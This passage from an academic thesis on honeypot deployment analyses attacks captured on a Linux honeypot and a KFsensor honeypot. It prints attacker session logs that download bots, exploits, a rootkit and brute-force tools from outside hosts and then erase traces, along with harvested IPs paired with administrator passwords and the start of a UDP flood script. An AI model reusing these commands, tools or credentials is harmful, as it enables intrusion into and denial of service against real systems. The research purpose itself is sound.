been successfully probed. Taking a closer look at the Perl script14 reveals even further 
information regarding the compromise: 
                                                          
14
 See appendix A6 for the entirety of the script 
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1) The script contains an URL to a Romanian “hacking forum” where “any info” 
(assumable to be regarding the script) can be found – pointing towards a blackhat 
community: 
 
01. printf "for any info vizit http://hacking.3xforum.ro/ \n"; 
 
 
2) It also exposed the origin and/or location of the coder based on the language of the 
comments in the code:  
 
01. printf "daca nu pica in 10 min dai pe alt port \n"; 
 
 
3) The code itself shows the actual purpose of the script – which is to dump UDP 
packets to a specified IP and port number for a chosen amount of time. 
 
Examining the Romanian forum in 1) above exposed references to several topics regarding 
information security such as “SQL injection”, “brute force” and “SSH scanner”. One of the 
main threads on the forum was also called “HaCkinG Request”. All in all; the forum was 
displaying a great multitude of information about malicious activity on the Internet, 
indirectly collected by the honeypot. The forum appeared to have been static and inactive 
for the past 4 years with the latest posts being written in August 2007. However, the actual 
tools written by, or shared by the users of this forum had proven to be active and in use. The 
forum even had its own section called “Hacking Tools” containing live and working URLs to 
Dos/DDoS tools, password crackers, port scanners, keyloggers and more. 
After successfully running the connection tests the attacker changed the password of the 
compromised account and attempted to remove his trails by deleting the files he or she had  
downloaded to the honeypot: 
01. passwd 
02. ls 
03. rm -r * 
04. Ls 
 
By doing so the attacker “secures” the account by removing the weak password and as such, 
prevents this weakness from being exploited by others. 
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On 1st of March the attacker again logs into the honeypot (this time already knowing the  
password) from two IP addresses; one in Cyprus and one in Romania: 
01. Mar  1 13:08:04 beatrix sshd[4822]: Accepted password for test 
from 62.228.138.160 port 51953 ssh2 
02. Mar  1 14:21:24 beatrix sshd[5399]: Accepted password for test 
from 94.62.248.134 port 2865 ssh2 
 
Logged on the honeypot the attacker proceeds to download a file with a .pdf extension and 
unzips this file: 
01. wget http://geox.at.ua/x.pdf 
02. ls 
03. nano inst 
04. nano inst 
05. cd.x 
06. cd .x 
07. nano inst 
08. .start poxipol 
09. ./start poxipol 
10. cat /etc/hosts 
11. test@beatrix:~/.x$ ./start poxipol 
12. _-=>  Energy mech by Geox  <=-_ 
13. [+] La mai multi. [+] 
14. Am gasit 1 ip-uri 
15. #.. 
16. ls 
17. ./run 
18. ./autorun 
19. ./start poxipol 
 
The file turns out to contain a package with an already pre-configured IRC bot. The 
installation scripts are edited with the Nano text editor before the scripts are run and the IRC 
bot is installed and configured to automatically run at startup. By examining the 
configuration files for the bots the IRC network and channels of the bots are uncovered. By 
logging into the given IRC network and joining the pre-configured channels specified in the 
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bot configurations I am also able to capture the activity of the attacker as he or she is typing  
commands to the IRC bot: 
 
01. 21:25 -!- poker [~escort@218.81-166-8.customer.lyse.net] has 
joined #poxipol 
02. 21:26 <@Dang3r0uS> poker nick Te`Iubesc`bb 
03. 21:26 <@Dang3r0uS> -me a 
04. 21:27 <@Dang3r0uS> .say a 
05.  21:27 <@Dang3r0uS> poker say a 
 
The commands show how he attempts to change the nickname of the BOT from “poker” to 
“Te`Iubesc`bb” as well as trying to make it speak in the channel. Querying the IRC whois 
command provides clear indications that the attacker is in fact Romanian considering the  
host name and the channels that are being used: 
 
01. 20:14 -!- Dang3r0uS [~DangerouS@BoRfAsHuL.Users.RomaniaIRC.Org] 
02. 20:14 -!-  ircname  : Muie Hackerilor Care Nu Au Loc De Pwla Mea 
! 
03. 20:14 -!-  channels : #vedete #Constanta #Radio4All +#tio_trag 
#Kitt.Arthur #MidNight`cLub @#Bucuresti #bebe`girl #BlackRose 
#Dragoste.Nebuna +#portugalia #Romania +#sfx #Timisoara #pink 
@#Borfashii #vaslui #Amsterdam #R.o.o.T 
04. 20:14 -!-  server   : *.romaniairc.org [The RomaniaIRC 
UnderWorld] 
05.  20:14 -!-  account  : BoRfAsHuL 
06.  20:14 -!- End of WHOIS 
 
3.2.1.2 High interaction honeypot attack 2 
 
8th of March 2011 another successful login was done on the high interaction honeypot – this 
time also originating from a Romanian IP address: 82.78.233.65. The attacker immediately 
after having gained access, attempts to increase his or her privileges to root access by 
downloading the exploit “Linux sock_sendpage() NULL pointer dereference“ released under 
the GNU General Public License attacking a known vulnerability: 
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01. Mar  8 21:33:33 beatrix snoopy[10411]: uname –a 
02. Mar  8 21:34:43 beatrix snoopy[10412]: wget http://eu-
ro.ca/2010.tgz.gz 
03. Mar  8 21:34:49 beatrix snoopy[10414]: tar zxvf 2010.tgz.gz 
04. Mar  8 21:34:54 beatrix snoopy[10416]: rm -rf 2010.tgz.gz 
05.  Mar  8 21:35:05 beatrix snoopy[10417]: chmod +X 0x82 2009 2009.c 
exploit exploit.c exploit-pulseaudio exploit-pulseaudio.c 
exploit.so run runcon-mmap_zero sesearch-mmap_zero therebel.sh 
x86 
06.  Mar  8 21:35:07 beatrix snoopy[10418]: ./run 
07. Mar  8 21:35:10 beatrix snoopy[10419]: ./exploit 
08. Mar  8 21:35:13 beatrix snoopy[10420]: id 
09.  Mar  8 21:35:20 beatrix snoopy[10421]: passwd root 
10. Mar  8 21:35:20 beatrix passwd[10421]: passwd: can't view or 
modify password information for root 
 
After executing the exploit the user attempts to change the root password, but due to the 
exploit failing, he or she has insufficient access rights to do so. Due to the failed attempt the 
attacker proceeds to download two more exploits but only runs one of these:  
 
01. Mar  8 21:35:32 beatrix snoopy[10422]: wget http://eu-
ro.ca/2010.txt 
02. Mar  8 21:35:45 beatrix snoopy[10423]: tar xzvf 2010.txt 
03. Mar  8 21:35:52 beatrix snoopy[10425]: perl 2010.txt 
04. Mar  8 21:35:57 beatrix snoopy[10426]: wget http://eu-
ro.ca/xplpriv.tar 
05.  Mar  8 21:36:59 beatrix snoopy[10435]: tar xzvf xplpriv.tar 
 
Additionally like the attacker in 3.2.1.1, this one also downloads an IRC bot hidden in a PDF 
file and installs this. Following the same procedure as with the previous attacker I examined 
the configuration files of the bot and found the following information: 
 
01. SERVER 195.47.220.2 6669 
02. ENTITY 10.0.0.210 
03. ### BOT 1 ### 
04. NICK jiminy 
05.  USERFILE 10.0.0.210.user 
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Connecting to the IRC network specified in the file I did a whois query for the pre-configured 
default bot nickname. The result was most disturbing; showing chat channels with 
references to child pornography, pedophilia and incest. Due to the utmost offensive channel 
names I have left the actual results of this particular whois query out of this thesis. It’s 
important to note that the query result was not pointing to the bot running on the “Beatrix” 
honeypot. However; due to the bot having its default configuration of that particular 
nickname on that specific IRC network I chose to wipe the honeypot immediately and report 
the gathered information about the event to the Norwegian police. 
 
3.2.1.3 High interaction honeypot attack 3 
 
By the end of March 2011 the “Beatrix” honeypots root password was changed to make it 
easily guessable and vulnerable to dictionary attacks. As this was done the honeypot started 
capturing different types of attacks. These attacks were not only compromising the “Beatrix” 
honeypot but also using the root privileges to attack and compromise other systems. An 
example where again a successful login is done by a Romanian IP (89.136.180.174), the 
attacker downloads a RDP dictionary attack tool and starts probing Windows hosts in 
subnets containing IPs from Holland, Great Britain, Croatia, Germany, Bahrain, Ukraine,  
Slovenia and Poland: 
01. May  2 10:23:31 beatrix sshd[3058]: Accepted password for root 
from 89.136.180.174 port 62227 ssh2 
02. May  2 10:25:51 beatrix snoopy[3090]: wget 
etoatenoi.do.am/rdp2009.zip 
03. May  2 10:26:28 beatrix snoopy[3098]: wget 
etoatenoi.do.am/rdp2009.tgz 
04. May  2 10:26:37 beatrix snoopy[3103]: tar xzvf rdp2009.tgz 
05. May  2 10:26:48 beatrix snoopy[3105]: tar -xvf rdp2009.tgz 
06.  May  2 10:26:54 beatrix snoopy[3106]: rm -rf rdp2009.tgz 
07.  May  2 10:28:34 beatrix snoopy[3167]: unzip rdp2009.zip 
08. May  2 10:28:39 beatrix snoopy[3168]: chmod +x* 
09. May  2 10:28:43 beatrix snoopy[3169]: chmod +x psc rdp start 
users words x 
10. May  2 10:28:47 beatrix snoopy[3170]: ./start 78 0 254 
11. May  2 10:28:47 beatrix snoopy[3171]: ./rdp -h 78.0.0.0/16 -t 25 
-d 
12. May  2 10:28:47 beatrix snoopy[3172]: ./rdp -h 78.1.0.0/16 -t 25 
–d 
13. May  2 10:28:47 beatrix snoopy[3173]: ./rdp -h 78.2.0.0/16 -t 25 
-d 
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The RDP tool manages to find and successfully compromise multiple IPs by the time I decide 
to kill the attackers’ processes and take it offline for analysis. The vulnerable IPs, their 
successfully compromised services as well as username/passwords are stored in a plain text 
file: 
 
01. IP: 78.27.11.222 USER: Administrator PASS: %username% RDP SMTP 
02. IP: 78.8.39.41 USER: Administrator PASS: %username% RDP 
03. IP: 78.8.40.105 USER: Administrator PASS: %username% RDP 
04. IP: 78.153.44.32 USER: Administrator PASS: %username%      
05. IP: 78.25.55.152 USER: Administrator PASS: %username% RDP 
06.  IP: 78.42.64.159 USER: Administrator PASS: %username% RDP 
07.  IP: 78.33.69.9 USER: Administrator PASS: %username% SMTP 
08. IP: 78.110.76.80 USER: Administrator PASS: P@ssw0rd RDP 
09. IP: 78.43.94.247 USER: Administrator PASS: %username% RDP 
10. IP: 78.33.88.203 USER: Administrator PASS: %username%  RDP 
11. IP: 78.2.98.140 USER: Administrator PASS: P@ssw0rd RDP 
12. IP: 78.32.100.41 USER: Administrator PASS: %username% RDP 
13. IP: 78.105.96.236 USER: Administrator PASS: %username% RDP SMTP 
 
3.2.1.4 High interaction honeypot attack 4 
 
During an attack done by an IP address originating in The Republic of Moldova, the “Beatrix” 
honeypot captured the installation process of a rootkit as well as the actual rootkit software.  
An outline of the installation process is shown below: 
 
01. May 15 08:46:14 beatrix sshd[25285]: Accepted password for root 
from 109.185.227.52 port 55494 ssh2 
02. May 15 08:46:42 beatrix snoopy[25306]: wget nutoy.zxq.net/rk.tgz 
03. May 15 08:46:50 beatrix snoopy[25323]: tar zxvf rk.tgz 
04. May 15 08:46:53 beatrix snoopy[25325]: ls 
05.  May 15 08:46:58 beatrix snoopy[25329]: pico setup 
06.  May 15 08:48:38 beatrix snoopy[25541]: ./configure 
07. May 15 08:48:38 beatrix snoopy[25542]: rm -rf conftest* 
confdefs.h 
08.  May 15 08:48:38 beatrix snoopy[25545]: sed s%/[^/][^/]*$%% 
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09. May 15 08:48:38 beatrix snoopy[25548]: sed s%\([^/]\)/*$%\1% 
10. May 15 08:48:38 beatrix snoopy[25550]: grep c 
11. May 15 08:48:39 beatrix snoopy[25552]: sed s/-n/xn/ 
12. May 15 08:48:39 beatrix snoopy[25553]: grep xn 
13. May 15 08:48:39 beatrix snoopy[25557]: cat 
14. May 15 08:48:39 beatrix snoopy[25560]: gcc -o conftest 
conftest.c 
15. May 15 08:48:39 beatrix snoopy[25566]: ./conftest 
16. May 15 08:48:39 beatrix snoopy[25567]: rm -fr conftest 
conftest.c 
17. May 15 08:48:39 beatrix snoopy[25573]: gcc -E conftest.c 
18. May 15 08:48:39 beatrix snoopy[25575]: egrep yes 
19. May 15 08:48:39 beatrix snoopy[25578]: gcc -g -c conftest.c 
20. May 15 08:48:39 beatrix snoopy[25581]: rm -f conftest.c 
conftest.o 
 
3.2.1.5 High interaction honeypot attack 5 
 
The final example shows an attack made by an IP address from Poland (184.22.223.143). The 
attacker downloads among other software, a SSH dictionary attack tool that was possibly 
used to gain access to the honeypot in the first place. This provides information about the 
honeypot breach not only from the victims, but also from the attackers’ point of view.  
 
 
01. May 15 10:23:36 beatrix sshd[3740]: Accepted password for root 
from 184.22.223.143 port 63659 ssh2 
02. May 15 10:41:41 beatrix snoopy[3979]: wget 
redzon3.ucoz.com/usa.tgz 
03. May 15 10:43:07 beatrix snoopy[3998]: tar xvf usa.tgz 
04. May 15 10:44:08 beatrix snoopy[4009]: nano kas 
05.  May 15 10:54:25 beatrix snoopy[4138]: ./start 64 
06.  May 15 10:57:06 beatrix snoopy[4186]: chmod +x kas kas.save 
pass_file ps screen sesion.php vuln.asl 
07. May 15 10:57:10 beatrix snoopy[4189]: ./kas 
08.  May 15 10:57:10 beatrix snoopy[4191]: ./ps .0 25 
09. May 15 10:57:22 beatrix snoopy[4195]: apt-get install php 
10. May 15 10:59:19 beatrix snoopy[4265]: rm -rf .bash_history 
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11. May 15 11:00:04 beatrix snoopy[4280]: ./go.sh 199 
12. May 15 11:00:04 beatrix snoopy[4281]: ./ss 22 -a 199 -i eth0 -s 
10 
13. May 15 11:12:44 beatrix snoopy[4433]: ./go.sh 121 
14. May 15 11:12:44 beatrix snoopy[4434]: ./ss 22 -a 121 -i eth0 -s 
10 
15. May 15 12:26:00 beatrix snoopy[5279]: ./ssh-scan 300 
 
 
3.2.1.6 High interaction honeypot attack summary 
 
When looking at the and data collected by the high interaction honeypot there is a clear trend in 
attacks coming from Romanian IP addresses. When gaining access to a regular user account the 
majority of the attackers also proceed in installing and setting up IRC bots on the honeypot. Another 
typical action performed by the attacker is changing the password to secure the access to the 
machine and preventing others from entering through the same weakness the attacker did. 
One discovery that was made is that the first successful logon to the honeypot is made by automated 
scripts or services using dictionary attacks to probe the honeypot. This is clearly visible in the logs as 
subsequent logon attempts are made even after a successful logon to the honeypot has been made: 
 
01. Mar 28 12:29:07 beatrix sshd[5921]: Accepted password for test 
from 174.143.171.5 port 48314 ssh2 
02. Mar 28 12:29:16 beatrix sshd[5927]: Failed password for test 
from 174.143.171.5 port 48570 ssh2 
03. Mar 28 12:29:20 beatrix sshd[5929]: Failed password for test 
from 174.143.171.5 port 48691 ssh2 
04. Mar 28 12:29:23 beatrix sshd[5931]: Failed password for test 
from 174.143.171.5 port 48814 ssh2 
05.  USERFILE 10.0.0.210.user 
 
However; in a timely fashion after such a successful login subsequent logons were being 
made by actual individuals. Indicators such as the time that passes in between the execution 
of commands, as well as the execution of commands providing visual output (such as the 
command: ls) that would be useless for a bot are clear pointers in this direction.  
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3.1.3 Project Beatrix challenges and experiences 
 
There were several big challenges when deploying the high interaction honeypot project. 
1) There was only one public IP address available to me 
2) Limited hardware resources 
3) Data analysis 
Through my ISP I do only have one public address available. Due to this the honeypots would 
have to be installed within my personal home network. Additionally the personal hardware 
available to me was also limited. An old laptop was taken to use where ESX was installed 
allowing for multiple servers to run on the same hardware. Without virtualization 
technology it would not have been possible for me to deploy the honeypots used in this 
project. Additionally the work of analyzing attacks on the high interaction honeypot was 
overwhelming at times. Even with externally secured logs of the events it was very hard to 
connect some of the events to the same attack. This was especially difficult when multiple 
connections were done to the honeypot from different locations. Analyzing and differing 
multiple attacks that had happened during periods of time where I had not been able to 
respond to the attacks (such as during the middle of the night) was also very challenging and  
time consuming. 
 
3.2 KFsensor (low interaction honeypot) 
 
The off-the-shelf honeypot product KFsesnor from KeyFocus was deployed with the 
intentions of gathering statistical data as opposed to the high interaction honeypot that 
collected in-depth data. This section will contain the setup and results in regards to my  
KFsensor implementation. 
 
3.2.1 KFsensor configuration 
 
The installation, setup and configuration of KFsensor were mostly straight forward. 
However; do to it being positioned on the internal network some modifications were 
required on the local firewall as well as on the central firewall. Five services were chosen to 
be exposed to the outside world for probing: 
1) Port 21: FTP 
2) Port 23: Telnet 
3) Port 25: SMTP/Email 
4) Port 80: HTTP 
5) Port 110: POP3/Email 
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These particular services were chosen as I already have experience configuring and working 
with them, easing the analysis of any attacks made against them and increasing the chances 
of gathering useful information out of the data collected by the honeypot.  
 
3.2.2 KFsensor capabilities 
 
KFsensor emulates services allowing some interaction between the user and the service. The 
level of interaction is high enough for the user to be able to execute a limited number of 
commands towards the service while the service replies in a logical manner. However; it is 
important to note that KFsensor does not provide any proper functionality and does not 
allow the user to perform any actions (even though it may tell the user that it does). See 
Appendix A5 for an example of what the responses from the KFsensor could be like. 
 
3.2.3 KFsensor data analysis and results 
 
The KFsensor was exposed to a large number of attacks as it was listening on multiple ports. 
During the three months of production it captured 4059 attacks divided between the five 
emulated services. The honeypot was also able to capture attacker keystrokes and IP packet 
payloads sent to the emulated sevices. 
 
3.2.3.1 KFsensor statistical data 
 
Not all of these attacks that reached the honeypot were actually carrying a payload and 
could thus have been port scans or similar. The figure below shows the difference between 
attacks carrying a payload and the attacks not transmitting any data after connecting to the 
honeypot service: 
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Figure 7: Attacks transmitting data to the honeypot service vs. attacks not sending any data 
after the initial connection to the honeypot were made. 
 
When looking at this at a per-service level, it becomes clear which one of the services is most 
exposed to non-payload attacks: 
 
Figure 8: Attacks per-service showing how many attacks were containing a payload and not 
 
As the figure reveals the telnet service was receiving the majority of the empty connections. 
This tells us that the attack was simply checking if the service was responding.  
The difference in number of probes per service showed great differences where the most 
attacked service, POP3 running on port 110, received 82% of the probes. In comparison the 
other mail service was the least attacked with only 1% of the received probes.  
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Figure 9: Number of attacks per-port 
 
The data collected by the honeypot also, to some degree, shows the origin of the attacks. As 
the attacker could be non-human this does not mean that this displays the origin of the 
actual attacker. It does however give an indication of where in the world compromised 
computers are situated or used for malicious activity. It is notable that 25% of the attacks 
were launched from computers within a Russian domain. The majority of attacks were 
however launched from internationally available domain names. To be able to identify the 
true identity of these, whois queries would be required per domain to locate the 
geographical position of the computer sending the probe. Pure IP addresses not resolving to 
any domain falls under the category “others” and would require the same treatment as the 
international domains. It’s also worth noting that there have been no attacks from Romanian 
IP addresses on the low interaction honeypot. 
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Figure 10: Showing the origin of the attacks launched on the low interaction honeypot. 
 
3.2.3.2 KFsensor data capture 
 
The KFsensor was in addition to the statistical data also able to capture snippets of attack 
information in regards to the emulated services. The majority (if not all) of these showed to 
be automated attacks. Due to the nature of this automation all the attack data on a specific 
service was very similar or identical. For example; in regards to the POP3 or FTP service, the 
majority of the probes were failed login attempts by a dictionary attack. I.e. the login 
attempt could be performed using the username “sharon” with the password “sharon”.  
Data received through port 25 also shows attempts at discovering open relay mail servers. 
The example below shows how an automated script tries to e-mail the IP-address of the 
honeypot to a pre-defined e-mail address. The owner of the e-mail address will 
automatically receive e-mails listing open relays that subsequently be used for spamming: 
01. ehlo Servidor 
02. Rset 
03. Mail from:&lt;hotmabox@yahoo.com&gt; 
04. RCPT to:&lt;hotmabox@yahoo.com&gt; 
05.  Data  
06. From: hotmabox@yahoo.com 
07. Subject: 81.166.8.218 
08. To: hotmabox@yahoo.com 
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3.2.4 KFsensor challenges and experiences 
 
The main advantage with KFsensor, thanks to the service emulation, was the ability to easily 
configure and running multiple services without going through the work and process of 
installing these proper services. This also allowed for the capturing of large amounts of 
attack data split over multiple services. It ran a graphical user interface that allowed for 
browsing through the log files and sorting the events based on severity. However; it did not 
allow for any other type of ordering, and thus highly limiting the reading and work that could 
be done with data. I was however able to work around this issue by editing the XML based 
log files through python and batch scripts, which was crucial for collecting the statistical data 
presented in this thesis15. 
 
3.3 The complete low and high interaction honeypot setup 
 
The complete honeypot setup included bot the high interaction setup including the “Beatrix” 
honeypot and its “Beatrixlog” monitoring server. Additionally a low interaction honeypot 
was also deployed within the same LAN but emulating different services than the high 
interaction honeypot. The core unit in the projects setup was the Cisco WRVS400N router. 
This router linked the local network and the honeypots with the 10 Mbit Internet 
connection. The router also served as a firewall, NAT/PAT gateway and included an 
integrated NIPS. In this manner it also served as the closest thing to a honeywall that it was 
possible for me to set up. An old laptop was put to use as a Vmware ESXi host, hosting three 
virtual computers, including a production server, the high interaction honeypot as well a 
logging server. The hardware in this ESXi host was very limited and is listed in appendix A3.  
The “Beatrix”, “Beatrixlog” and KFsensor computers have previously been described but the 
figure below will show detailed information regarding the IP-addresses and topology of the 
setup. 
 
 
                                                          
15
 See Appendix A7 and A8 for scripts 
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Figure 11: The complete low and high interaction honeypot setup  
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3.4 Software used in the project 
 
This chapter contains a brief introduction to software that has been crucial in the completion of this 
thesis and the deployment of the project honeypots.  
 
3.4.1 KFSensor Professional 
 
KFSensor by KeyFocus is a low interaction Windows based honeypot and Intrusion Detection 
System (IDS). It is a software package that installs as a Windows service opening specified 
TCP and UDP ports in the Windows Firewall and on the Windows system. It is designed for 
use in a Windows based corporate environment and is using a GUI based management 
console. KFsensor emulates system services such as FTP, HTTP, POP3, Telnet, SMTP and VNC 
on the application layer of the OSI model. [27] 
 
3.4.2 VMware vSphere Hypervisor (ESXi) 
 
VMware vSphere Hypervisor is a virtualization architecture that is installed on hardware and 
allows for installation of virtual computers within the host software. [26] The software 
allows for multiple operating systems to be installed – and simultaneously run on the same 
hardware with high flexibility in regards to the configuration of the systems. 
 
3.4.3 Rsyslogd 
 
Rsyslogd is a system utility providing support for message logging. It runs as a Unix or Linux 
daemon and support both Internet and Unix domain sockets enabling both local and remote 
logging. [25] In this project it was used to remotely log syslog messages from one Debian 
Linux system to another.  
 
3.4.4 Snoopy Logger 
 
Snoopy Logger is a small shared library that logs all the commands executed on a Unix-like 
system. It will be completely transparent to other programs and is linked into them to 
provide a wrapper around calls to execve(). [28] 
 
 
Page 48 
 
  
3.4.5 OpenSSH 
 
Sshd is a daemon running on a Linux/Unix system listening for connections from clients. Ssh 
is the client that is used to connect to the daemon. Together these allow for both remote 
connection and remote execution of commands. The network traffic generated by the client 
and the daemon is encrypted, allowing secure communication over an insecure connection. 
[21] OpenSSH was used as the access gateway to the high interaction honeypot deployed as 
a part of this project. 
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4. Chapter: Conclusions and discussion 
 
This chapter will discuss the findings and results of the literature studies and lab work 
performed as a part of writing this thesis.  
 
4.1 The honeypot – what it brings to the table in a network perimeter 
defense system 
 
Both Network Intrusion Detection Systems (NIDS) and honeypots have in common that both 
technologies are capable of detecting attacks on a network. The major difference however, 
is that unlike the honeypot, the NIDS looks at production network traffic and uses signatures 
(similar to antivirus signatures) to filter the traffic and detect abnormalities. The NIDS faces 
several challenges because of this: 
1) To be able to detect an attack the correct signature must be found in the signature 
database (if the database is outdated it will not be able to detect attacks with a 
recent signature) 
2) The NIDS will not be able to detect new or unknown attacks due to no signature 
existing for such attacks 
3) Because it has to look at production network traffic it is exposed to the risk of 
producing false positives (and false negatives as mentioned in the points above) 
4) It will be unable to any detect any suspicious activity found within encrypted traffic 
The honeypot however, does not use signatures and will not have to face either of the first 
two challenges. Secondly, since the honeypot does not have any production value, no 
production traffic should be directed at it – eliminating the need to filter traffic and there 
will be no false positives/negatives.  Thirdly; any encrypted malicious traffic will not merely 
be passing through the honeypot like it would with the NIDS, but the honeypot will rather be 
the start point or end point for this traffic meaning it in many cases will be either encrypted 
or decrypted on the honeypot before or after transfer rendering it open for inspection and 
investigation. All of the points above do not imply that a honeypot should be replacing a 
NIDS (or the other way around). Both technologies have their spot within the network 
perimeter defense. They can also be used to support each other, by having the NIDS 
monitoring the data travelling to and from the honeypot and the honeypot supporting the 
NIDS with fresh data for its signature database.  
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4.2 What kind information can be gathered by a honeypot? 
 
In regards to what kind of information can be gathered by honeypots, Lance Spitzner 
describes two examples that have been collected by honeypots and how this information 
was used by security professionals. In the first example, a team of security experts from 
Incidents.org were investigating an increase in scans for the Sub7 Trojan which was by 
default listening on the TCP port 27374 [1:38-39, 3]. As an attempt to find out where these 
scans were coming from, the Incidents.org team deployed a honeypot developed to emulate 
a Windows system infected by Sub7. Only minutes later an attack was captured by the 
honeypot and the team was able to perform a full analysis – discovering that the attack was 
being made by the W32/Leaves worm which was pretending to be a Sub7 client in order to 
easily infect systems that were already compromised by the Sub7 Trojan. [1:38-39, 4] 
In the second example – the CERT Coordination Center successfully used a Solaris honeypot 
to capture a dtspcd exploit. Dtspcd serves as a daemon that allows remote clients to execute 
commands or launch applications and is a part of the Common Desktop Environment (CDE) 
16. The daemon was typically configured to run with root privileges on TCP port 6112 and 
made a function call to a shared library containing a buffer overflow condition in the client 
connection routine. The vulnerability in this daemon was already known by the security 
community, but no exploit was known, nor had any attack exploiting this vulnerability 
previously been seen. Once discovered, CERT released an advisory, warning the community 
that the vulnerability now was being actively exploited. [1:39, 5, 6, 7].  
As with the literature studies, the laboratory experiments also show that hacking activity and 
exploits can be captured. The high interaction honeypot was able to collect the files and data 
of several exploits as well as information regarding how these exploits are put to use by 
attackers. Especially the latter part could be particularly useful for security professionals that 
are e.g. building and arranging NIDS signatures. The downloaded exploits would also be 
useful for companies working with antivirus software as new exploits may be discovered in 
this fashion and be implemented into the antivirus software. 
Illegal data could also be captured by a honeypot. The risk of violation could be turned the 
other way around if employed by law enforcements that could deploy honeypots with the 
purpose of gathering illegal information. It could induce a risk for a criminal to store illegal 
data such as pirated software, movies or even child pornography on his or her own assets. 
This would make it desirable to be able to access external computers for storage of such 
content. By deploying such a honeypot, law enforcements could discover entire networks of 
cyber criminals. 
The data gathered by the honeypots also shows patterns of where attacks are launched 
from, the actions of the attackers once the honeypot has been compromised and shows 
                                                          
16
 An integrated graphical user interface running on Unix and Linux operating systems 
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their intentions and reasons for attacking the honeypot. There were particularly two trends 
that became visible from the data gathered by the honeypot: 
1) The attackers were looking for more or new platforms to run their IRC bots 
2) The attackers were using the honeypot for attacking even more hosts 
 
Another trend that was uncovered by the honeypot was the way the intruders used various 
techniques for bypassing security mechanisms such as central antivirus and by hiding 
harmful code in seemingly harmless documents like PDF or JPG files. 
 
4.3 Risks involved with honeypot deployment 
 
As previously mentioned in chapter 2.5 there are risks involved with the deployment of 
honeypots within an organizational network. To summarize the four general areas of risk 
were harm, detection, disabling and violation. Throughout the project period I have seen 
examples of where the high interaction honeypot have been victim to two of these risks; 
harm and disabling. The low interaction honeypot was not, to my awareness, subject to 
these risks.  
 
4.3.1 Harm 
 
The high interaction honeypot was several times used by the aggressors to attack and/or harm 
external systems. The attempts to harm other systems also caused problems for our internal network 
due to the internal network sharing the same Internet connection as the honeypots. The first 
occasion was where the attacker used the script in appendix A6 to send a stream of UDP packets to a 
Romanian IP address. This script was able to exploit the entire 10 Mbit connection and rendering it 
impossible to make use of the Internet connection while the script was running. Because of this I was 
made aware that there was an intruder on the honeypot. It’s also important to note that the 
integrated NIPS on the router was unable to handle this situation. Depending on the state of the 
Internet connection and security mechanisms in the other end it is unclear, but not unreasonable to 
think that the receiver of the UDP packets may have experienced a similar situation during the 
minutes when this script was running. Two other incidents also occurred where hacking tools were 
executed towards external IP ranges attacking both Windows and UNIX based hosts. On one of the 
occasions the attack even successfully probed thirteen external Windows machines. Literature 
studies have shown that the solution to this problem is data control. This includes preventing these 
events from happening by blocking them on the network level in a firewall or NIPS. Doing so may 
however increase the risk of detection as stopping outbound traffic from common protocols like RDP 
and SSH will seem suspicious to the attacker. A way around this could be achieved by employing a 
more intelligent solution that e.g. stops connections that happen within a too short interval or 
allowing a maximum of two or three outbound connections simultaneously.  
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4.3.2 Disabling 
 
On two occasions the high interaction honeypot was disabled from incoming connections by the 
attackers. The actions performed by the attackers were so intensive and CPU demanding that the 
limited hardware the honeypot was running on was not able to cope. This prevented monitoring of 
the honeypot during these periods as it was impossible to connect to it to perform live monitoring of 
the activities. This included both remote and console access. The only way to make it available again 
was to perform a hard reset on the honeypot. Having better hardware could be enough to eliminate 
this kind of disabling, but a more reliable solution would have been to implement measures to  
reserve hardware resources.  
 
4.4 Future research 
 
During the deployment of the honeypots in this project I encountered one problem with each of 
them. For the high interactive honeypot the issue were the difficulties and challenges of data control 
to mitigate the risk of harm being caused to internal and/or external systems.  Experts claim that 
there are no guaranteed methods to fully prevent these risks and that the available measures are 
very complex and hard to configure. This also applies to data control in conjunction with the risk of 
violation. Finding new, alternative or additional ways to perform data control in connection with 
honeypots is a challenging area where there is room for improvements that could make honeypot 
implementations safer. Such work could include the proposal of an architecture for performing this 
kind of data control.  
Furthermore; with low interaction honeypots the amount of data collected may reach very large 
amounts if these are running multiple services.  Finding ways or developing a platform for 
examination, sorting and ordering of this kind of data would be very useful for time savings in 
regards to data analysis. 
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4.5 Conclusion  
 
Throughout this thesis the focus have been put on honeypots, how they can be used to 
improve security, what information can be gathered through them and what sort of risks 
they may induce into the organizational network. It has been elaborated that the primary 
advantage of a honeypot in a network perimeter defense system is that it in contrast to all 
other assets, does not have any production value nor does it interact with any production 
traffic. Precisely this is the value of the honeypot because all interaction with it can be 
considered suspicious. This adds unique value to the detection part of perimeter defense. 
The thesis has also shown multiple examples of what information can be gathered by 
honeypots, both statistical and in-depth, and furthermore discussed how this information 
can be used to improve security. The risks of introducing a honeypot into an organizational 
network has been accounted for and displayed as they happen in a real honeypot 
environment. Finally, the work with this thesis has for me proven to be educational in many 
areas regarding security technology and other aspects of information technology.  
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Appendix  
 
A1 - Relevant parts of the rsyslog.conf file on Beatrix (Debian Linux high 
interaction honeypot): 
 
01. ############### 
02. #### RULES #### 
03. ############### 
04.  
05. # 
06. # First some standard log files.  Log by facility. 
07. # 
08. auth,authpriv.*                 @10.0.0.220 
09. auth,authpriv.*                 /var/log/auth.log 
10. *.*;auth,authpriv.none          -/var/log/syslog 
11. *.*;auth,authpriv.none          @10.0.0.220 
12. #cron.*                         /var/log/cron.log 
13. daemon.*                        -/var/log/daemon.log 
14. kern.*                          -/var/log/kern.log 
15. lpr.*                           -/var/log/lpr.log 
16. mail.*                          -/var/log/mail.log 
17. user.*                          -/var/log/user.log 
18. user.*                          @10.0.0.220 
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A2 - Relevant parts of the rsyslog.conf file on Beatrixlog (Debian Linux 
syslog server): 
 
01. ################# 
02. #### MODULES #### 
03. ################# 
04.  
05. $ModLoad imuxsock # provides support for local system logging 
06. $ModLoad imklog   # provides kernel logging support (previously done by rklogd) 
07. #$ModLoad immark  # provides --MARK-- message capability 
08.  
09. # provides UDP syslog reception 
10. $ModLoad imudp 
11. $UDPServerRun 514 
12.  
13. # provides TCP syslog reception 
14. #$ModLoad imtcp 
15. #$InputTCPServerRun 514 
 
A3 – Hardware specifications: ESXi server for the Beatrix Project 
 
Model: HP Compaq nc6220 
CPU: Intel® Pentium® M processor 2.00GHz 
RAM: 1 GB 
Storage: 80 GB 
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A4 – Firewall and PAT setup 
 
  
 
A5 – Low interaction honeypot SMTP example 
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A6 – Example of a malicious tool downloaded by an attacker to the high 
interaction honeypot: udp.pl 
 
01. #!/usr/bin/perl 
02.  
03. use Socket; 
04.  
05. $ARGC=@ARGV; 
06.  
07. if ($ARGC !=3) { 
08. printf "$0 <ip> <port> <time>\n"; 
